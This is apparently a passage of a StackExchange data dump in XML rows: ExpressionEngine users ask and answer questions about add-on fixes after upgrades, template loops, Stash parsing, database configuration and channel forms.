  <row Id="21276" PostTypeId="2" ParentId="19775" CreationDate="2014-04-18T14:21:31.977" Score="0" Body="&lt;p&gt;I've started a thread in the EE forums:&#xA;&lt;a href=&quot;http://ellislab.com/forums/viewthread/244991/&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/244991/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There has been one solution posted, but it requires a hack to the native EE text fieldtype code (/system/expressionengine/fieldtypes/text/ft.text.php) from&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $field = array(&#xA;   'name'  =&amp;gt; $this-&amp;gt;field_name,&#xA;   'value'  =&amp;gt; $this-&amp;gt;_format_number($data, $type),&#xA;   'dir'  =&amp;gt; $this-&amp;gt;settings['field_text_direction'],&#xA;   'field_content_type' =&amp;gt; $type&#xA;  );  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $field = array(&#xA;   'id'  =&amp;gt; $this-&amp;gt;field_name,&#xA;   'name'  =&amp;gt; $this-&amp;gt;field_name,&#xA;   'value'  =&amp;gt; $this-&amp;gt;_format_number($data, $type),&#xA;   'dir'  =&amp;gt; $this-&amp;gt;settings['field_text_direction'],&#xA;   'field_content_type' =&amp;gt; $type&#xA;  );  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I don't know what impact that would have to the system. I've posted the question to the developer, and will update the thread if there are any other solutions suggested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks Derek for jumping in on this. I don't have enough reputation points to add a comment to your answer, so I'll just edit my entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hack was required in addition to the function change suggested by the developer log to make the add-on fully functional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Updating the function name as you suggested does allow the fieldtype to install successfully, but it still doesn't work right. The fieldtype loads in the entry, but when you put in any address information and hit &quot;Geocode Entry&quot; it yields no results. That's why it was suggested to hack the fieldtype code. Like you, I do not recommend a system hack ever, so I am trying to find the portion of the add-on that EE 2.7+ does not like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've never built an add-on, so I am at a loss for where to go from here.&lt;/p&gt;&#xA;" OwnerUserId="2743" LastEditorUserId="2743" LastEditDate="2014-04-18T16:35:47.670" LastActivityDate="2014-04-18T16:35:47.670" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21278" PostTypeId="2" ParentId="19775" CreationDate="2014-04-18T15:39:48.603" Score="1" Body="&lt;p&gt;In &lt;strong&gt;ft.geotagger.php&lt;/strong&gt;, inside the &lt;code&gt;__construct()&lt;/code&gt; function, change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;parent::EE_Fieldtype();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EE_Fieldtype::__construct();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's it.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-04-18T15:39:48.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21279" PostTypeId="2" ParentId="21228" CreationDate="2014-04-18T16:24:59.333" Score="1" Body="&lt;p&gt;Have you cleared your browser cache, database cache and refreshed? Wygwam is very sensitive to this.&lt;/p&gt;&#xA;" OwnerUserId="2743" LastActivityDate="2014-04-18T16:24:59.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21280" PostTypeId="1" AcceptedAnswerId="21327" CreationDate="2014-04-18T16:32:16.970" Score="0" ViewCount="75" Body="&lt;p&gt;I am needing to obtain a count for every video being parsed through Channel Videos via relationship entries. I want to continue using a grid with my layout so the content can scale like the rest of the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a channel of entries which is nothing more than a DevDemon Channel Entries field which contains groups of videos. Each of these groups can be added to other channel entries as modules. So you may have a Lesson Module with 5 groups of videos and each video group could have 1-?? videos in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was using an embed for the relationship loop, but I was loosing count each time and starting over at 0/1, so I started trying to calculate the numbers via raw PHP. I am completely open as a better way of doing this because I am banging my head against the desk.  lol&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here was my latest attempt:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;classes available-classes clearfix&quot;&amp;gt; &#xA;    &amp;lt;?php $count = 0; ?&amp;gt;&#xA;    {exp:channel:entries &#xA;        disable=&quot;category_fields|member_data|pagination&quot; &#xA;        category=&quot;1&quot; &#xA;        channel=&quot;program_module&quot; &#xA;        status=&quot;open&quot; &#xA;        show_future_entries=&quot;no&quot; &#xA;        show_expired=&quot;no&quot; &#xA;    }&#xA;        {video_groups_to_include}&#xA;            {exp:channel_videos:videos &#xA;                status=&quot;open&quot; &#xA;                entry_id=&quot;{video_groups_to_include:entry_id}&quot; &#xA;            }&#xA;                &amp;lt;?php &#xA;                    $count++;&#xA;                    echo $count;&#xA;                    if( $count==1 || $count==5 || $count==9 || $count==13 || $count==17 || $count==21 || $count==25 || $count=29 || $count==33 || $count==37 || $count==41 || $count==45 || $count=49 || $count==53 || $count==57 || $count==61 || $count==65 || $count==69 ){&#xA;                        echo &quot;&amp;lt;li class='row-fluid'&amp;gt;&amp;lt;ul&amp;gt;&amp;lt;li data-id='id-{video:id}' class='span3 {video_groups_to_include:categories}{category_name}{/video_groups_to_include:categories}'&amp;gt;&quot;;&#xA;                    }else{&#xA;                        echo &quot;&amp;lt;li data-id='id-{video:id}' class='span3 {video_groups_to_include:categories}{category_name}{/video_groups_to_include:categories}'&amp;gt;&quot;;&#xA;                    }&#xA;                ?&amp;gt;&#xA;                    &amp;lt;a href=&quot;{site_url}lessons/{video_groups_to_include:categories}{category_url_title}{/video_groups_to_include:categories}&quot;&amp;gt;&#xA;                        &amp;lt;em class=&quot;overflow-hidden&quot;&amp;gt;&amp;lt;img src=&quot;{video:img_url_hd}&quot; alt=&quot;{video:title}&quot; /&amp;gt;&amp;lt;/em&amp;gt;&#xA;                        &amp;lt;span&amp;gt;&#xA;                            &amp;lt;strong&amp;gt;{video:title}&amp;lt;/strong&amp;gt;&#xA;                            &amp;lt;i&amp;gt;{video:description}&amp;lt;/i&amp;gt;&#xA;                        &amp;lt;/span&amp;gt;&#xA;                    &amp;lt;/a&amp;gt;&#xA;                &amp;lt;?php &#xA;                    $count++;&#xA;                    if( $count==4 || $count==8 || $count==12 || $count==16 || $count==20 || $count==24 || $count==28 || $count=32 || $count==36 || $count==40 || $count==44 || $count==48 || $count=52 || $count==56 || $count==60 || $count==64 || $count==68 || $count==72 ){&#xA;                        echo &quot;&amp;lt;/li&amp;gt;&amp;lt;ul&amp;gt;&amp;lt;/li&amp;gt;&quot;;&#xA;                    }else{&#xA;                        echo &quot;&amp;lt;/li&amp;gt;&quot;;&#xA;                    }&#xA;                ?&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;            {/exp:channel_videos:videos}&#xA;        {/video_groups_to_include}&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hopefully it's clear what I am trying to achieve. Basically, I need a new row after ever 4th video parsed. (4 column layout)&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2014-04-21T22:03:09.637" Title="Relationships with Channel Videos" Tags="|relationships|php|count|channel-videos|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21281" PostTypeId="2" ParentId="21260" CreationDate="2014-04-18T17:05:28.193" Score="1" Body="&lt;p&gt;hummm try to have a look on your .htaccess file.&#xA; And have a look to in the index.php in the site root to verify the system path:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $system_path = './system';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The path on your local/wamp server could be different from the production site&lt;/p&gt;&#xA;" OwnerUserId="1918" LastActivityDate="2014-04-18T17:05:28.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21282" PostTypeId="2" ParentId="20779" CreationDate="2014-04-18T17:50:06.997" Score="3" Body="&lt;p&gt;I have gotten this to work with a little massaging. I am trying to contact big robot and send them the patch currently. But you can change the plugin in two places to get it working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the mod.geofinder.php file around line 169 you can change &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;assign_relationship_data($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata);&#xA;$this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;var_single = array_merge($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;var_single, $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;related_markers);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (version_compare(APP_VER, '2.6.0', '&amp;lt;')) {&#xA;    $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;assign_relationship_data($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata);&#xA;    $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;var_single = array_merge($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;var_single, $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;related_markers);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you need to change the function render_with_page_fix($channel, $limit, $offset) to a completely different function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function render_with_page_fix($channel, $limit, $offset) {&#xA;        if ($channel-&amp;gt;enable['pagination'] == TRUE)&#xA;        {&#xA;&#xA;            if (version_compare(APP_VER, '2.8', '&amp;gt;=')) {&#xA;        $this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('pagination');&#xA;        $pagination = $this-&amp;gt;EE-&amp;gt;pagination-&amp;gt;create();&#xA;        $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata = $pagination-&amp;gt;prepare($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata);&#xA;        $total_items = $channel-&amp;gt;total_rows;&#xA;        $per_page = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('limit');&#xA;        $pagination-&amp;gt;build($total_items, $per_page);&#xA;        if ($pagination-&amp;gt;paginate === TRUE)&#xA;        {&#xA;          $pagination-&amp;gt;build($total_items, $per_page);&#xA;        }&#xA;&#xA;        return $pagination-&amp;gt;render($channel-&amp;gt;return_data);&#xA;      } else {&#xA;                $channel-&amp;gt;pagination-&amp;gt;EE-&amp;gt;pagination-&amp;gt;total_rows = $channel-&amp;gt;total_rows;&#xA;                $channel-&amp;gt;pagination-&amp;gt;get_template();&#xA;                $channel-&amp;gt;return_data = preg_replace(&#xA;                    &quot;/&quot;.LD.&quot;paginate&quot;.RD.&quot;.+?&quot;.LD.'\/'.&quot;paginate&quot;.RD.&quot;/s&quot;,&#xA;                    &quot;&quot;,&#xA;                    $channel-&amp;gt;return_data&#xA;                );&#xA;                $channel-&amp;gt;pagination-&amp;gt;build($channel-&amp;gt;total_pages);&#xA;&#xA;                $config = array();&#xA;                $config['first_url']    = rtrim($channel-&amp;gt;pagination-&amp;gt;basepath, '/');&#xA;                $config['base_url']     = $channel-&amp;gt;pagination-&amp;gt;basepath;&#xA;                $config['prefix']       = 'P';&#xA;                $config['total_rows']   = $channel-&amp;gt;total_rows;&#xA;                $config['per_page'] = $limit;&#xA;                // cur_page uses the offset because P45 (or similar) is a page&#xA;                $config['cur_page'] = $offset;&#xA;                $config['first_link']   = lang('pag_first_link');&#xA;                $config['last_link']    = lang('pag_last_link');&#xA;                $config['uri_segment']  = 0; // Allows $config['cur_page'] to override&#xA;&#xA;                $channel-&amp;gt;pagination-&amp;gt;EE-&amp;gt;pagination-&amp;gt;initialize($config);&#xA;                $channel-&amp;gt;pagination-&amp;gt;page_links = $channel-&amp;gt;pagination-&amp;gt;EE-&amp;gt;pagination-&amp;gt;create_links();&#xA;                $channel-&amp;gt;pagination-&amp;gt;EE-&amp;gt;pagination-&amp;gt;initialize($config); // Re-initialize to reset config&#xA;                $channel-&amp;gt;pagination-&amp;gt;page_array = $channel-&amp;gt;pagination-&amp;gt;EE-&amp;gt;pagination-&amp;gt;create_link_array();&#xA;&#xA;                $channel-&amp;gt;pagination-&amp;gt;current_page = floor(($offset / $limit) + 1);&#xA;                $channel-&amp;gt;pagination-&amp;gt;total_pages = $channel-&amp;gt;total_pages;&#xA;&#xA;                return $channel-&amp;gt;pagination-&amp;gt;render($channel-&amp;gt;return_data);&#xA;            }&#xA;        } else {&#xA;            return $channel-&amp;gt;return_data;&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should get it working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cory&lt;/p&gt;&#xA;" OwnerUserId="1116" LastActivityDate="2014-04-18T17:50:06.997" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21283" PostTypeId="2" ParentId="21260" CreationDate="2014-04-18T17:50:25.140" Score="2" Body="&lt;p&gt;It sounds to me like you'll need to setup a multi-environment &lt;code&gt;/system/expressionengine/config/database.php&lt;/code&gt; file. Here's a glimpse of how I typically set mine up:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');&#xA;&#xA;if ($_SERVER['HTTP_HOST']  == 'PRODUCTIONSERVER.com') {&#xA;&#xA;    $active_group = 'production';&#xA;&#xA;} elseif ($_SERVER['HTTP_HOST']  == 'DEVELOPMENTSERVER.com') {&#xA;&#xA;    $active_group = 'development';&#xA;&#xA;} elseif ($_SERVER['HTTP_HOST']  == 'YOURLOCALDOMAIN.dev') {&#xA;&#xA;    $active_group = 'local';&#xA;&#xA;} else {&#xA;&#xA;    $active_group = 'production';&#xA;}&#xA;&#xA;$db['local']['hostname'] = 'localhost';&#xA;$db['local']['username'] = 'root';&#xA;$db['local']['password'] = 'YOUR PASSWORD';&#xA;$db['local']['database'] = 'DATABASENAME';&#xA;$db['local']['dbdriver'] = 'mysql';&#xA;$db['local']['pconnect'] = FALSE;&#xA;$db['local']['dbprefix'] = 'exp_';&#xA;$db['local']['swap_pre'] = 'exp_';&#xA;$db['local']['db_debug'] = TRUE;&#xA;$db['local']['cache_on'] = FALSE;&#xA;$db['local']['autoinit'] = FALSE;&#xA;$db['local']['char_set'] = 'utf8';&#xA;$db['local']['dbcollat'] = 'utf8_general_ci';&#xA;$db['local']['cachedir'] = '{$_SERVER[&quot;DOCUMENT_ROOT&quot;]}SYSTEMFOLDER/expressionengine/cache/db_cache/';&#xA;&#xA;$db['development']['hostname'] = 'DEV HOST NAME';&#xA;$db['development']['username'] = 'DEV USER NAME';&#xA;$db['development']['password'] = 'DEV PASSWORD';&#xA;$db['development']['database'] = 'DEV DATABASE';&#xA;$db['development']['dbdriver'] = 'mysql';&#xA;$db['development']['pconnect'] = FALSE;&#xA;$db['development']['dbprefix'] = 'exp_';&#xA;$db['development']['swap_pre'] = 'exp_';&#xA;$db['development']['db_debug'] = TRUE;&#xA;$db['development']['cache_on'] = FALSE;&#xA;$db['development']['autoinit'] = FALSE;&#xA;$db['development']['char_set'] = 'utf8';&#xA;$db['development']['dbcollat'] = 'utf8_general_ci';&#xA;$db['development']['cachedir'] = '{$_SERVER[&quot;DOCUMENT_ROOT&quot;]}SYSTEMFOLDER/expressionengine/cache/db_cache/';&#xA;&#xA;$db['production']['hostname'] = 'PRODUCTION HOST NAME';&#xA;$db['production']['username'] = 'PRODUCTION USER NAME';&#xA;$db['production']['password'] = 'PRODUCTION PASSWORD';&#xA;$db['production']['database'] = 'PRODUCTION DATABASE';&#xA;$db['production']['dbdriver'] = 'mysql';&#xA;$db['production']['pconnect'] = FALSE;&#xA;$db['production']['dbprefix'] = 'exp_';&#xA;$db['production']['swap_pre'] = 'exp_';&#xA;$db['production']['db_debug'] = TRUE;&#xA;$db['production']['cache_on'] = FALSE;&#xA;$db['production']['autoinit'] = FALSE;&#xA;$db['production']['char_set'] = 'utf8';&#xA;$db['production']['dbcollat'] = 'utf8_general_ci';&#xA;$db['production']['cachedir'] = '{$_SERVER[&quot;DOCUMENT_ROOT&quot;]}SYSTEMFOLDER/expressionengine/cache/db_cache/';&#xA;&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2014-04-18T17:50:25.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21284" PostTypeId="2" ParentId="21280" CreationDate="2014-04-18T20:40:26.287" Score="0" Body="&lt;p&gt;You can easily do this with the switch variable.  Have a look at my &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/13411/matrix-rows-how-to-target-every-3-rows/13432#13432&quot;&gt;answer on this posting&lt;/a&gt;.  The answer refers to matrix, but really it should be applicable in any looping tag pair that support the switch variable, and I think, though it's not mentioned in the documentation, it should be supported in Channel Videos.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2014-04-18T20:40:26.287" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21285" PostTypeId="2" ParentId="21263" CreationDate="2014-04-19T02:30:06.113" Score="2" Body="&lt;p&gt;You haven't posted your javascript code, so it's hard to tell exactly where the error is coming from. However,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'undefined' is not a function (evaluating '$checkout_submit.off(&quot;click&quot;)')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;means that &lt;code&gt;$checkout_submit&lt;/code&gt; is undefined. That means you haven't created this variable yet. So presumably, right before this error you want to do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var $checkout_submit = $(&quot;#my_checkout_button&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My guess is that you already have something along these lines, but there is a typo in the variable name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, you can normally assign variables like that in javascript:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var $checkout_submit = $(&quot;#checkout_submit&quot;).click(function() {&#xA;    // etc&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, the &lt;code&gt;$checkout_submit&lt;/code&gt; variable won't be defined &lt;strong&gt;inside&lt;/strong&gt; the callback function, because it doesn't actually exist until &lt;strong&gt;after&lt;/strong&gt; the &lt;code&gt;click()&lt;/code&gt; method finishes executing. So you need to split it into two lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var $checkout_submit = $(&quot;#checkout_submit&quot;);&#xA;$checkout_submit.click(function() {&#xA;    // now you can use $checkout_submit here&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastEditorUserId="150" LastEditDate="2014-04-19T06:26:44.420" LastActivityDate="2014-04-19T06:26:44.420" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21286" PostTypeId="1" AcceptedAnswerId="21300" CreationDate="2014-04-19T02:44:16.010" Score="0" ViewCount="160" Body="&lt;p&gt;Are there any plugins that make it possible to have yearly archives in EE? I'm talking about something like the current archives-by-month (January, February, etc. with the ability to paginate), but listing all entries posted in a full calendar year. I'm looking at moving to a responsive design, and want the date-based archives in the top menu like they are now...but I would love the option to link to a paginated template that lists all entries in a given calendar year (all entries in 2011, all entries in 2012, all entries in 2013...and so forth.) That would really shorten the top nav a LOT.&lt;/p&gt;&#xA;" OwnerDisplayName="user800" LastActivityDate="2014-04-21T06:47:49.780" Title="Possible to generate yearly archives?" Tags="|ee2|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21287" PostTypeId="1" CreationDate="2014-04-19T03:32:48.577" Score="1" ViewCount="31" Body="&lt;p&gt;I had the following code which worked:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;project:{segment_3}&quot; scope=&quot;site&quot;}&#xA;&#xA;{exp:stash:set name=&quot;main_content&quot;}&#xA;&#xA;&amp;lt;div class=&quot;rel&quot;&amp;gt;&#xA;  &amp;lt;ul class=&quot;rslides&quot;&amp;gt;&#xA;    {exp:stash:get_list:nested name=&quot;project:{segment_3}:slider&quot; scope=&quot;site&quot;}&#xA;      {if project_slide_type == &quot;Image&quot;}&#xA;        &amp;lt;li&amp;gt;&#xA;          &amp;lt;a href=&quot;{exp:ce_img:single src='{project_slide_image}' output='{made}' quality='70' width='1800'}&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;      {if:else}&#xA;        &amp;lt;li class=&quot;video_slide video-player&quot;&amp;gt;&#xA;          &amp;lt;iframe src=&quot;http://player.vimeo.com/video/{project_slide_video}?title=0&amp;amp;amp;byline=0&amp;amp;amp;portrait=0&quot; width=&quot;700&quot; height=&quot;400&quot; frameborder=&quot;0&quot; webkitallowfullscreen mozallowfullscreen allowfullscreen&amp;gt;&amp;lt;/iframe&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;      {/if}&#xA;    {/exp:stash:get_list:nested}&#xA;  &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;{/exp:stash:set}&#xA;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But then I wanted to use a different stash list for logged in users. I couldn't apply &lt;code&gt;parse_conditionals=&quot;yes&quot;&lt;/code&gt; to the &lt;code&gt;stash:set&lt;/code&gt; tag as there were other conditionals in there I don't won't parsed early. So I tried this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;logged_in&quot; parse_conditionals=&quot;yes&quot;}&#xA;      {if logged_out}&#xA;        {exp:stash:get_list:nested name=&quot;project:{segment_3}:slider&quot; scope=&quot;site&quot;}&#xA;      {/if}&#xA;      {if logged_in}&#xA;        {exp:stash:get_list:nested name=&quot;project:{segment_3}:slider:private&quot; scope=&quot;site&quot;}&#xA;      {/if}&#xA;    {/exp:stash:set}&#xA;&#xA;    {exp:stash:get_list name=&quot;project:{segment_3}&quot; scope=&quot;site&quot;}&#xA;&#xA;      {exp:stash:set name=&quot;main_content&quot;}&#xA;&#xA;        &amp;lt;div class=&quot;rel&quot;&amp;gt;&#xA;          &amp;lt;ul class=&quot;rslides&quot;&amp;gt;&#xA;            {exp:stash:get name=&quot;logged_in&quot;}&#xA;              {if project_slide_type == &quot;Image&quot;}&#xA;                &amp;lt;li&amp;gt;&#xA;                  &amp;lt;a href=&quot;{exp:ce_img:single src='{project_slide_image}' output='{made}' quality='70' width='1800'}&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;              {if:else}&#xA;                &amp;lt;li class=&quot;video_slide video-player&quot;&amp;gt;&#xA;                  &amp;lt;iframe src=&quot;http://player.vimeo.com/video/{project_slide_video}?title=0&amp;amp;amp;byline=0&amp;amp;amp;portrait=0&quot; width=&quot;700&quot; height=&quot;400&quot; frameborder=&quot;0&quot; webkitallowfullscreen mozallowfullscreen allowfullscreen&amp;gt;&amp;lt;/iframe&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;              {/if}&#xA;            {/exp:stash:get_list:nested}&#xA;          &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;      {/exp:stash:set}&#xA;&#xA;    {/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But now, although the logged in / logged out functionality works, the CE Image tags don't parse. Looking at the template debugger output, it seems that the &lt;code&gt;{project_slide_image}&lt;/code&gt; tags never parse. The only difference is the &lt;code&gt;stash:get&lt;/code&gt; tag. I tried adding &lt;code&gt;parse_tags=&quot;yes&quot;&lt;/code&gt; on the &lt;code&gt;stash:set&lt;/code&gt; tag as well as increasing the parse_depth, but nothing seems to make the tags parse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated! (Using EE 2.7.2, PHP 5.5.3 and Stash 2.5.3)&lt;/p&gt;&#xA;" OwnerUserId="1966" LastActivityDate="2014-04-19T03:32:48.577" Title="CE Image tags in stash:set stop parsing when I add a stash:get" Tags="|stash|ce-image|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21288" PostTypeId="1" AcceptedAnswerId="21297" CreationDate="2014-04-19T07:38:55.540" Score="1" ViewCount="61" Body="&lt;p&gt;I have large scale website with cart throb added version 2.00xx. I have updated the EE from 2.1.3 to the latest 2.8.1 and I've got a lot of errors, but at least I had cp available. Under extensions section I had list of extensions - some of them was disabled - including Cartthrob pro. Since I enabled it, I completely lost the CP. Now it shows blank page. &#xA;I'll really appreciate somebody to give me a tip how can I disable this extension via my sql admin by directly changing a record in the database? &lt;/p&gt;&#xA;" OwnerUserId="993" LastActivityDate="2014-04-24T09:38:58.920" Title="Disabling Cartthrob via database - How to?" Tags="|cartthrob|add-on|database|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21289" PostTypeId="2" ParentId="21286" CreationDate="2014-04-19T21:22:42.597" Score="1" Body="&lt;p&gt;Maybe this is what you are looking for? &lt;a href=&quot;http://devot-ee.com/add-ons/low-yearly-archives&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/low-yearly-archives&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1615" LastActivityDate="2014-04-19T21:22:42.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21290" PostTypeId="1" CreationDate="2014-04-19T23:19:29.770" Score="0" ViewCount="42" Body="&lt;p&gt;Before 2.8.1 upg i had &lt;code&gt;{if my_matrix_field:total_rows &amp;gt;= 2}&lt;/code&gt; but now i have to remove these so my page loads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All EE and add-ons are current&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Milke2&lt;/p&gt;&#xA;" OwnerUserId="2437" LastActivityDate="2014-04-19T23:19:29.770" Title="Matrix tag not working after 2.8.1 upg" Tags="|matrix|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21291" PostTypeId="1" CreationDate="2014-04-20T03:30:15.020" Score="0" ViewCount="121" Body="&lt;p&gt;I am using {exp:zoo_visitor:update_form&gt; on a rather large Profile page for members to update their details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that you can only update one playa field at the time - I have experimented wrapping the {exp:zoo_visitor:update_form&gt; tags around all form entries and each separate but the Playa fields don't update together.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: I replaced all Playa fields with the native Relationships field (yikes!) but these fields seem to hold the data. There is also a Matrix field, which doesn't hold the data but after replacing this with the native Grid field it's behaviour maintains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Surely this is all JS related but I am not able to debug this....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;include_jquery=&quot;no&quot; has no effect.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Running 2.7.3&lt;/h2&gt;&#xA;" OwnerUserId="552" LastEditorUserId="552" LastEditDate="2014-04-20T23:00:15.807" LastActivityDate="2014-04-20T23:00:15.807" Title="Multiple Playa fields in Channel Form not updating" Tags="|matrix|playa|channel-form|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21293" PostTypeId="1" CreationDate="2014-04-20T03:39:33.893" Score="0" ViewCount="89" Body="&lt;p&gt;I'm building a page containing a channel form to allow users to edit their posts, and I thought I'd add an &lt;code&gt;{if}...{/if}&lt;/code&gt; statement to prevent them editing other users' entries. The permissions on the channel are set correctly, but this was just to get around the error message on form submission. So I added this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form .... entry_id=&quot;{segment_3}&quot;}&#xA;  {if author_id &amp;lt;&amp;gt; member_id}&#xA;    {redirect=&quot;home&quot;}&#xA;  {/if}&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The issue then, was that the code redirected even when author_id = member_id. This seemed bizarre, so as a test, I changed the above code to read:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form .... entry_id=&quot;{segment_3}&quot;}&#xA;  {if author_id &amp;lt;&amp;gt; member_id}&#xA;    